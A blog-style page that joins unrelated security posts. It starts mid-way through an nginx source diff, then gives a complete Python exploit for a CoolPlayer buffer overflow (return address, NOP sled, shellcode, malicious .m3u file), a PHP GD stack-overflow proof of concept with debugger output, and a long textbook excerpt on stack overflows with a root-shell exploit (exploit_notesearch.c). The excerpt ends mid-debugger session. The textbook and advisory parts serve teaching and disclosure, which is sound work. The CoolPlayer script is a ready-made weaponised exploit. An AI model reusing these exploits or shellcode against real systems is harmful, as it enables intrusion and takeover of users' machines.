    +++ src/http/modules/ngx_http_gzip_static_module.c (revision 3528)

    @@ -89,10 +89,6 @@

    return NGX_DECLINED;

    }

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    gzcf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_static_module);

    if (!gzcf->enable) {

    Index: src/http/modules/ngx_http_index_module.c

    ===================================================================

    --- src/http/modules/ngx_http_index_module.c (revision 3527)

    +++ src/http/modules/ngx_http_index_module.c (revision 3528)

    @@ -116,10 +116,6 @@

    return NGX_DECLINED;

    }

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    ilcf = ngx_http_get_module_loc_conf(r, ngx_http_index_module);

    clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);

    Index: src/http/modules/ngx_http_random_index_module.c

    ===================================================================

    --- src/http/modules/ngx_http_random_index_module.c (revision 3527)

    +++ src/http/modules/ngx_http_random_index_module.c (revision 3528)

    @@ -86,10 +86,6 @@

    return NGX_DECLINED;

    }

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD|NGX_HTTP_POST))) {

    return NGX_DECLINED;

    }

    Index: src/http/modules/ngx_http_dav_module.c

    ===================================================================

    --- src/http/modules/ngx_http_dav_module.c (revision 3527)

    +++ src/http/modules/ngx_http_dav_module.c (revision 3528)

    @@ -146,10 +146,6 @@

    ngx_int_t rc;

    ngx_http_dav_loc_conf_t *dlcf;

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    dlcf = ngx_http_get_module_loc_conf(r, ngx_http_dav_module);

    if (!(r->method & dlcf->methods)) {

    Index: src/http/modules/ngx_http_flv_module.c

    ===================================================================

    --- src/http/modules/ngx_http_flv_module.c (revision 3527)

    +++ src/http/modules/ngx_http_flv_module.c (revision 3528)

    @@ -80,10 +80,6 @@

    return NGX_DECLINED;

    }

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    rc = ngx_http_discard_request_body(r);

    if (rc != NGX_OK) {

    Index: src/http/modules/ngx_http_static_module.c

    ===================================================================

    --- src/http/modules/ngx_http_static_module.c (revision 3527)

    +++ src/http/modules/ngx_http_static_module.c (revision 3528)

    @@ -66,10 +66,6 @@

    return NGX_DECLINED;

    }

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    log = r->connection->log;

    /*

    Index: src/http/modules/ngx_http_autoindex_module.c

    ===================================================================

    --- src/http/modules/ngx_http_autoindex_module.c (revision 3527)

    +++ src/http/modules/ngx_http_autoindex_module.c (revision 3528)

    @@ -160,10 +160,6 @@

    return NGX_DECLINED;

    }

    - if (r->zero_in_uri) {

    - return NGX_DECLINED;

    - }

    -

    if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD))) {

    return NGX_DECLINED;

    }

    Index: src/http/modules/perl/ngx_http_perl_module.c

    ===================================================================

    --- src/http/modules/perl/ngx_http_perl_module.c (revision 3527)

    +++ src/http/modules/perl/ngx_http_perl_module.c (revision 3528)

    @@ -168,10 +168,6 @@

    static ngx_int_t

    ngx_http_perl_handler(ngx_http_request_t *r)

    {

    - if (r->zero_in_uri) {

    - return NGX_HTTP_NOT_FOUND;

    - }

    -

    r->main->count++;

    ngx_http_perl_handle_request(r);

    Tagged with:
    Aug 12

     

    # #########################################################################
    #~ Title         : CoolPlayer 219 Buffer Overflow Exploit  
    #~ Software      : http://coolplayer.en.softonic.com/
    #~ Tested on     : Windows XP SP3 English
    #~ Date          : 04/07/2011
    #~ Author        : X-h4ck
    #~ Site          : http://www.pirate.al/ #PirateAL Crew , http://theflashcrew.blogspot.com/
    #~ Email         : mem001@live.com
    #~ Greetz        : Wulns~ – IllyrianWarrior – Danzel – Ace – M4yh3m – Saldeath – bi0 – Slimshaddy – d3trimentaL – Lekosta – Pretorian – CroSs(r00tworm) – Rigon
    # #########################################################################

    #!/usr/bin/python
    print " CoolPlayer 219 Buffer Overflow Exploit"
    print " Author : X-h4ck"
    print " www.pirate.al, http://theflashcrew.blogspot.com"
    print " Wulns~ – IllyrianWarrior – Danzel – Ace – M4yh3m – Saldeath – bi0 – Slimshaddy – d3trimentaL – Lekosta – Pretorian – CroSs – Rigon"
    print " // Aint no pussy made where we came from \\\ @PirateAL Crew"
    print " "
    print " "

    filename = "PirateAL.m3u"

    junk = "\x41" * 248
    EIP = "\xDC\x3A\xB4\x76" # JMP ESP 0x76B43ADC winmm.dll
    nopsled = "\x90" * 20
    #calc.exe
    shellcode = ("\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24"
    "\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71"
    "\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3"
    "\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f"
    "\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1"
    "\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40"
    "\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b"
    "\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78"
    "\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2"
    "\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56"
    "\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92"
    "\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e"
    "\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b"
    "\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68"
    "\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc"
    "\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c"
    "\xfd\x82\x6d")

    pwn = junk+EIP+nopsled+shellcode
    FILE = open(filename, "w")
    FILE.write(pwn)
    FILE.close()
    print " Evil File created succesully, time for pwnage"

    Tagged with:
    Dec 14

    Description:

    Prior to version 5.3.4, PHP’s GD extension did not properly validate
    the number of anti-aliasing steps passed to the function imagepstext.
    The value of this parameter is expected to be either 4 or 16. To
    accommodate this, an array of 16 integers, aa, is located on the
    stack. Before the number of steps is validated, it is used to populate
    the array. This results in a stack-based buffer overflow.

    Proof of concept:

    <?php
    $img = imagecreatetruecolor(1, 1); //Arbitrary
    $fnt = imagepsloadfont("somefont.pfb"); //Arbitrary
    //The final parameter is the number of anti-aliasing steps
    imagepstext($img, "Testing", $fnt, 0xAAAAAA, 0xAAAAAA, 0xAAAAAA,
    0xAAAAAA, 0xAAAAAA, 0, 0, 0.0, 99999);
    ?>

    Result in php 5.3.3 (with gdb):

    sh-4.1$ php -v
    PHP 5.3.3 (cli) (built: Jul 22 2010 15:37:02)
    Copyright (c) 1997-2010 The PHP Group
    Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    sh-4.1$ gdb php
    <trimmed>
    (gdb) run imagepstext_poc.php
    Starting program: /usr/bin/php imagepstext_poc.php
    [Thread debugging using libthread_db enabled]

    Program received signal SIGSEGV, Segmentation fault.
    0x004dcca7 in zif_imagepstext (ht=11184810, return_value=0xaaaaaa,
        return_value_ptr=0xaaaaaa, this_ptr=0xaaaaaa, return_value_used=11184810)
        at /usr/src/debug/php-5.3.3/ext/gd/gd.c:4257
    4257                    aa[i] = gdImageColorResolveAlpha(bg_img, rd, gr, bl, al);
    Missing separate debuginfos, use: <trimmed>
    (gdb) bt
    #0  0x004dcca7 in zif_imagepstext (ht=11184810, return_value=0xaaaaaa,
        return_value_ptr=0xaaaaaa, this_ptr=0xaaaaaa, return_value_used=11184810)
        at /usr/src/debug/php-5.3.3/ext/gd/gd.c:4257
    #1  0x00aaaaaa in ?? ()
    #2  0x00aaaaaa in ?? ()
    #3  0x00aaaaaa in ?? ()
    #4  0x00aaaaaa in ?? ()
    #5  0x00aaaaaa in ?? ()
    <etc>

    Result in php 5.3.4:

    $ ./php-5.3.4 -v
    PHP 5.3.4 (cli) (built: Dec 10 2010 10:26:40)
    Copyright (c) 1997-2010 The PHP Group
    Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    $ ./php-5.3.4 imagepstext_poc.php

    Warning: imagepstext(): AA steps must be 4 or 16 in
    /home/…/imagepstext_poc.php on line 4

    Tagged with:
    Dec 06

    Buffer overflow vulnerabilities have been around since the early days of computers and still exist today. Most Internet worms use buffer overflow vulnerabilities to propagate, and even the most recent zero-day VML vulnerability in Internet Explorer is due to a buffer overflow.

    C is a high-level programming language, but it assumes that the programmer is responsible for data integrity. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower, due to integrity checks on every variable. Also, this would remove a significant level of control from the programmer and complicate the language.

    While C’s simplicity increases the programmer’s control and the efficiency of the resulting programs, it can also result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. This means that once a variable is allocated memory, there are no built-in safeguards to ensure that the contents of a variable fit into the allocated memory space. If a programmer wants to put ten bytes of data into a buffer that had only been allocated eight bytes of space, that type of action is allowed, even though it will most likely cause the program to crash. This is known as a buffer overrun or buffer overflow, since the extra two bytes of data will overflow and spill out of the allocated memory, overwriting whatever happens to come next. If a critical piece of data is overwritten, the program will crash. The overflow_example.c code offers an example.

    Buffer Overflows


     
    overflow_example.c

    Code View:

    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char *argv[]) {
       int value = 5;
       char buffer_one[8], buffer_two[8];
    
       strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */
       strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */
    
       printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, 
    buffer_two);
       printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, 
    buffer_one);
       printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, 
    value);
    
       printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  strlen(argv[1]));
       strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */
    
       printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, 
    buffer_two);
       printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, 
    buffer_one);
       printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);
    }
    

    By now, you should be able to read the source code above and figure out what the program does. After compilation in the sample output below, we try to copy ten bytes from the first command-line argument into buffer_two, which only has eight bytes allocated for it.

    reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
    reader@hacking:~/booksrc $ ./overflow_example 1234567890
    [BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
    [BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
    [BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
    
    [STRCPY] copying 10 bytes into buffer_two
    
    [AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
    [AFTER] buffer_one is at 0xbffff7f8 and contains '90'
    [AFTER] value is at 0xbffff804 and is 5 (0x00000005)
    reader@hacking:~/booksrc $

    Notice that buffer_one is located directly after buffer_two in memory, so when ten bytes are copied into buffer_two, the last two bytes of 90 overflow into buffer_one and overwrite whatever was there.

    A larger buffer will naturally overflow into the other variables, but if a large enough buffer is used, the program will crash and die.

    reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
    [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
    [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
    
    [STRCPY] copying 29 bytes into buffer_two
    
    [AFTER] buffer_two is at 0xbffff7e0 and contains
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'
    [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
    Segmentation fault (core dumped)
    reader@hacking:~/booksrc $

    These types of program crashes are fairly common—think of all of the times a program has crashed or blue-screened on you. The programmer’s mistake is one of omission—there should be a length check or restriction on the user-supplied input. These kinds of mistakes are easy to make and can be difficult to spot. In fact, the notesearch.c program contains a buffer overflow bug. You might not have noticed this until right now, even if you were already familiar with C.

    Code View:

    reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    -------[ end of note data ]-------
    Segmentation fault
    reader@hacking:~/booksrc $
    

    Program crashes are annoying, but in the hands of a hacker they can become downright dangerous. A knowledgeable hacker can take control of a program as it crashes, with some surprising results. The exploit_notesearch.c code demonstrates the danger.

    exploit_notesearch.c

    Code View:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";
    
    int main(int argc, char *argv[]) {
       unsigned int i, *ptr, ret, offset=270;
       char *command, *buffer;
    
       command = (char *) malloc(200);
       bzero(command, 200); // Zero out the new memory.
    
       strcpy(command, "./notesearch \'"); // Start command buffer.
       buffer = command + strlen(command); // Set buffer at the end.
    
       if(argc > 1) // Set offset.
          offset = atoi(argv[1]);
    
       ret = (unsigned int) &i - offset; // Set return address.
    
       for(i=0; i < 160; i+=4) // Fill buffer with return address.
          *((unsigned int *)(buffer+i)) = ret;
       memset(buffer, 0x90, 60); // Build NOP sled.
       memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    
       strcat(command, "\'");
    
       system(command); // Run exploit.
       free(command);
    }
    

    This exploit’s source code will be explained in depth later, but in general, it’s just generating a command string that will execute the notesearch program with a command-line argument between single quotes. It uses string functions to do this: strlen() to get the current length of the string (to position the buffer pointer) and strcat() to concatenate the closing single quote to the end. Finally, the system function is used to execute the command string. The buffer that is generated between the single quotes is the real meat of the exploit. The rest is just a delivery method for this poison pill of data. Watch what a controlled crash can do.

    reader@hacking:~/booksrc $ gcc exploit_notesearch.c
    reader@hacking:~/booksrc $ ./a.out
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    -------[ end of note data ]-------
    sh-3.2#

    The exploit is able to use the overflow to serve up a root shell—providing full control over the computer. This is an example of a stack-based buffer overflow exploit.

    0×321. Stack-Based Buffer Overflow Vulnerabilities

    The notesearch exploit works by corrupting memory to control execution flow. The auth_overflow.c program demonstrates this concept.

    3.2.2.1. auth_overflow.c

    Code View:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int check_authentication(char *password) {
       int auth_flag = 0;
       char password_buffer[16];
    
       strcpy(password_buffer, password);
    
       if(strcmp(password_buffer, "brillig") == 0)
          auth_flag = 1;
       if(strcmp(password_buffer, "outgrabe") == 0)
          auth_flag = 1;
    
       return auth_flag;
    }
    
    int main(int argc, char *argv[]) {
       if(argc < 2) {
          printf("Usage: %s <password>\n", argv[0]);
          exit(0);
       }
       if(check_authentication(argv[1])) {
          printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
          printf("      Access Granted.\n");
          printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
       } else {
          printf("\nAccess Denied.\n");
       }
    }
    

    This example program accepts a password as its only command-line argument and then calls a check_authentication() function. This function allows two passwords, meant to be representative of multiple authentication methods. If either of these passwords is used, the function returns 1, which grants access. You should be able to figure most of that out just by looking at the source code before compiling it. Use the -g option when you do compile it, though, since we will be debugging this later.

    reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
    reader@hacking:~/booksrc $ ./auth_overflow
    Usage: ./auth_overflow <password>
    reader@hacking:~/booksrc $ ./auth_overflow test
    
    Access Denied.
    reader@hacking:~/booksrc $ ./auth_overflow brillig
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
          Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    reader@hacking:~/booksrc $ ./auth_overflow outgrabe
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
          Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    reader@hacking:~/booksrc $

    So far, everything works as the source code says it should. This is to be expected from something as deterministic as a computer program. But an overflow can lead to unexpected and even contradictory behavior, allowing access without a proper password.

    reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
          Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    reader@hacking:~/booksrc $

    You may have already figured out what happened, but let’s look at this with a debugger to see the specifics of it.

    Code View:

    reader@hacking:~/booksrc $ gdb -q ./auth_overflow
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) list 1
    1       #include <stdio.h>
    2       #include <stdlib.h>
    3       #include <string.h>
    4
    5       int check_authentication(char *password) {
    6               int auth_flag = 0;
    7               char password_buffer[16];
    8
    9                strcpy(password_buffer, password);
    10
    (gdb)
    11              if(strcmp(password_buffer, "brillig") == 0)
    12                      auth_flag = 1;
    13              if(strcmp(password_buffer, "outgrabe") == 0)
    14                      auth_flag = 1;
    15
    16              return auth_flag;
    17      }
    18
    19      int main(int argc, char *argv[]) {
    20              if(argc < 2) {
    (gdb) break 9
    Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
    (gdb) break 16
    Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
    (gdb)
    

    The GDB debugger is started with the -q option to suppress the welcome banner, and breakpoints are set on lines 9 and 16. When the program is run, execution will pause at these breakpoints and give us a chance to examine memory.

    Code View:

    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAA
    
    Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:9
    9               strcpy(password_buffer, password);
    (gdb) x/s password_buffer
    0xbffff7a0:      ")????o??????)\20504\b?o??p???????"
    (gdb) x/x &auth_flag
    0xbffff7bc:     0x00000000
    (gdb) print 0xbffff7bc - 0xbffff7a0
    $1 = 28
    (gdb) x/16xw password_buffer
    0xbffff7a0:     0xb7f9f729      0xb7fd6ff4      0xbffff7d8      0x08048529
    0xbffff7b0:     0xb7fd6ff4      0xbffff870      0xbffff7d8      0x00000000
    0xbffff7c0:     0xb7ff47b0      0x08048510      0xbffff7d8      0x080484bb
    0xbffff7d0:     0xbffff9af      0x08048510      0xbffff838      0xb7eafebc
    (gdb)
    

    The first breakpoint is before the strcpy() happens. By examining the password_buffer pointer, the debugger shows it is filled with random uninitialized data and is located at 0xbffff7a0 in memory. By examining the address of the auth_flag variable, we can see both its location at 0xbffff7bc and its value of 0. The print command can be used to do arithmetic and shows that auth_flag is 28 bytes past the start of password_buffer. This relationship can also be seen in a block of memory starting at password_buffer. The location of auth_flag is shown in bold.

    Code View:

    (gdb) continue
    Continuing.
    
    Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) 
    at auth_overflow.c:16
    16              return auth_flag;
    (gdb) x/s password_buffer
    0xbffff7a0:      'A' <repeats 30 times>
    (gdb) x/x &auth_flag
    0xbffff7bc:     0x00004141
    (gdb) x/16xw password_buffer
    0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff7b0:     0x41414141      0x41414141      0x41414141      0x00004141
    0xbffff7c0:     0xb7ff47b0      0x08048510      0xbffff7d8      0x080484bb
    0xbffff7d0:     0xbffff9af      0x08048510      0xbffff838      0xb7eafebc
    (gdb) x/4cb &auth_flag
    0xbffff7bc:     65 'A'  65 'A'  0 ''  0 ''
    (gdb) x/dw &auth_flag
    0xbffff7bc:     16705
    (gdb)
    

    Continuing to the next breakpoint found after the strcpy(), these memory locations are examined again. The password_buffer overflowed into the auth_flag, changing its first two bytes to 0x41. The value of 0x00004141 might look backward again, but remember that x86 has little-endian architecture, so it’s supposed to look that way. If you examine each of these four bytes individually, you can see how the memory is actually laid out. Ultimately, the program will treat this value as an integer, with a value of 16705.

    (gdb) continue
    Continuing.
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
          Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    
    Program exited with code 034.
    (gdb)

    After the overflow, the check_authentication() function will return 16705 instead of 0. Since the if statement considers any nonzero value to be authenticated, the program’s execution flow is controlled into the authenticated section. In this example, the auth_flag variable is the execution control point, since overwriting this value is the source of the control.

    But this is a very contrived example that depends on memory layout of the variables. In auth_overflow2.c, the variables are declared in reverse order. (Changes to auth_overflow.c are shown in bold.)

    auth_overflow2.c

    Code View:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int check_authentication(char *password) {
       char password_buffer[16];
       int auth_flag = 0;
    
       strcpy(password_buffer, password);
    
       if(strcmp(password_buffer, "brillig") == 0)
          auth_flag = 1;
       if(strcmp(password_buffer, "outgrabe") == 0)
          auth_flag = 1;
    
       return auth_flag;
    }
    
    int main(int argc, char *argv[]) {
       if(argc < 2) {
          printf("Usage: %s <password>\n", argv[0]);
          exit(0);
       }
       if(check_authentication(argv[1])) {
          printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
          printf("      Access Granted.\n");
          printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
       } else {
          printf("\nAccess Denied.\n");
       }
    }
    

    This simple change puts the auth_flag variable before the password_buffer in memory. This eliminates the use of the return_value variable as an execution control point, since it can no longer be corrupted by an overflow.

    Code View:

    reader@hacking:~/booksrc $ gcc -g auth_overflow2.c
    reader@hacking:~/booksrc $ gdb -q ./a.out
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) list 1
    1       #include <stdio.h>
    2       #include <stdlib.h>
    3       #include <string.h>
    4
    5       int check_authentication(char *password) {
    6               char password_buffer[16];
    7               int auth_flag = 0;
    8
    9               strcpy(password_buffer, password);
    10
    (gdb)
    11              if(strcmp(password_buffer, "brillig") == 0)
    12                      auth_flag = 1;
    13              if(strcmp(password_buffer, "outgrabe") == 0)
    14                      auth_flag = 1;
    15
    16              return auth_flag;
    17      }
    18
    19      int main(int argc, char *argv[]) {
    20              if(argc < 2) {
    (gdb) break 9
    Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
    (gdb) break 16
    Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Breakpoint 1, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>) 
    at auth_overflow2.c:9  strcpy(password_buffer, password);
    (gdb) x/s password_buffer
    0xbffff7c0: "?o??\200????????o???G??20\20504\b?????\20404\b????20\205\
    004\bH???????02"
    (gdb) x/x &auth_flag
    0xbffff7bc:     0x00000000
    (gdb) x/16xw &auth_flag
    0xbffff7bc:     0x00000000      0xb7fd6ff4      0xbffff880      0xbffff7e8
    0xbffff7cc:     0xb7fd6ff4      0xb7ff47b0      0x08048510      0xbffff7e8
    0xbffff7dc:     0x080484bb      0xbffff9b7      0x08048510      0xbffff848
    0xbffff7ec:     0xb7eafebc      0x00000002      0xbffff874      0xbffff880
    (gdb)
    

    Similar breakpoints are set, and an examination of memory shows that auth_flag (shown in bold above and below) is located before password_buffer in memory. This means auth_flag can never be overwritten by an overflow in password_buffer.

    Code View:

    (gdb) cont
    Continuing.
    
    Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>)
        at auth_overflow2.c:16
    16              return auth_flag;
    (gdb) x/s password_buffer
    0xbffff7c0:      'A' <repeats 30 times>
    (gdb) x/x &auth_flag
    0xbffff7bc:     0x00000000
    (gdb) x/16xw &auth_flag
    0xbffff7bc:     0x00000000      0x41414141      0x41414141      0x41414141
    0xbffff7cc:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff7dc:     0x08004141      0xbffff9b7      0x08048510      0xbffff848
    0xbffff7ec:     0xb7eafebc      0x00000002      0xbffff874      0xbffff880
    (gdb)
    

    As expected, the overflow cannot disturb the auth_flag variable, since it’s located before the buffer. But another execution control point does exist, even though you can’t see it in the C code. It’s conveniently located after all the stack variables, so it can easily be overwritten. This memory is integral to the operation of all programs, so it exists in all programs, and when it’s overwritten, it usually results in a program crash.

    (gdb) c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()
    (gdb)

    Recall from the previous chapter that the stack is one of five memory segments used by programs. The stack is a FILO data structure used to maintain execution flow and context for local variables during function calls. When a function is called, a structure called a stack frame is pushed onto the stack, and the EIP register jumps to the first instruction of the function. Each stack frame contains the local variables for that function and a return address so EIP can be restored. When the function is done, the stack frame is popped off the stack and the return address is used to restore EIP. All of this is built in to the architecture and is usually handled by the compiler, not the programmer.

    When the check_authentication() function is called, a new stack frame is pushed onto the stack above main()‘s stack frame. In this frame are the local variables, a return address, and the function’s arguments.

    We can see all these elements in the debugger.

    Figure 1.

    Code View:

    reader@hacking:~/booksrc $ gcc -g auth_overflow2.c
    reader@hacking:~/booksrc $ gdb -q ./a.out
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) list 1
    1       #include <stdio.h>
    2       #include <stdlib.h>
    3       #include <string.h>
    4
    5       int check_authentication(char *password) {
    6               char password_buffer[16];
    7               int auth_flag = 0;
    8
    9               strcpy(password_buffer, password);
    10
    (gdb)
    11              if(strcmp(password_buffer, "brillig") == 0)
    12                      auth_flag = 1;
    13              if(strcmp(password_buffer, "outgrabe") == 0)
    14                      auth_flag = 1;
    15
    16              return auth_flag;
    17      }
    18
    19      int main(int argc, char *argv[]) {
    20              if(argc < 2) {
    (gdb)
    21                      printf("Usage: %s <password>\n", argv[0]);
    22                      exit(0);
    23              }
    24              if(check_authentication(argv[1])) {
    25                      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    26                      printf("      Access Granted.\n");
    27                      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    28              } else {
    29                      printf("\nAccess Denied.\n");
    30         }
    (gdb) break 24
    Breakpoint 1 at 0x80484ab: file auth_overflow2.c, line 24.
    (gdb) break 9
    Breakpoint 2 at 0x8048421: file auth_overflow2.c, line 9.
    (gdb) break 16
    Breakpoint 3 at 0x804846f: file auth_overflow2.c, line 16.
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Breakpoint 1, main (argc=2, argv=0xbffff874) at auth_overflow2.c:24
    24              if(check_authentication(argv[1])) {
    (gdb) i r esp
    esp            0xbffff7e0       0xbffff7e0
    (gdb) x/32xw $esp
    0xbffff7e0:     0xb8000ce0      0x08048510      0xbffff848      0xb7eafebc
    0xbffff7f0:     0x00000002      0xbffff874      0xbffff880      0xb8001898
    0xbffff800:     0x00000000      0x00000001      0x00000001      0x00000000
    0xbffff810:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff848
    0xbffff820:     0x40f5f7f0      0x48e0fe81      0x00000000      0x00000000
    0xbffff830:     0x00000000      0xb7ff9300      0xb7eafded      0xb8000ff4
    0xbffff840:     0x00000002      0x08048350      0x00000000      0x08048371
    0xbffff850:     0x08048474      0x00000002      0xbffff874      0x08048510
    (gdb)
    

    The first breakpoint is right before the call to check_authentication()in main(). At this point, the stack pointer register (ESP) is 0xbffff7e0, and the top of the stack is shown. This is all part of main()‘s stack frame. Continuing to the next breakpoint inside check_authentication(), the output below shows ESP is smaller as it moves up the list of memory to make room for check_authentication()‘s stack frame (shown in bold), which is now on the stack. After finding the addresses of the auth_flag variable ( ) and the variable password_buffer ( ), their locations can be seen within the stack frame.

    Code View:

    (gdb) c
    Continuing.
    
    Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>) 
    at auth_overflow2.c:9 strcpy(password_buffer, password);
    (gdb) i r esp
    esp            0xbffff7a0       0xbffff7a0
    (gdb) x/32xw $esp
    0xbffff7a0:     0x00000000      0x08049744      0xbffff7b8      0x080482d9
    0xbffff7b0:     0xb7f9f729      0xb7fd6ff4      0xbffff7e8  
    
    
    
      0x00000000
    0xbffff7c0:     
    
    
    
    0xb7fd6ff4      0xbffff880      0xbffff7e8      0xb7fd6ff4
    0xbffff7d0:     0xb7ff47b0      0x08048510      0xbffff7e8      0x080484bb
    0xbffff7e0:     0xbffff9b7      0x08048510      0xbffff848      0xb7eafebc
    0xbffff7f0:     0x00000002      0xbffff874      0xbffff880      0xb8001898
    0xbffff800:     0x00000000      0x00000001      0x00000001      0x00000000
    0xbffff810:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff848
    (gdb) p 0xbffff7e0 - 0xbffff7a0
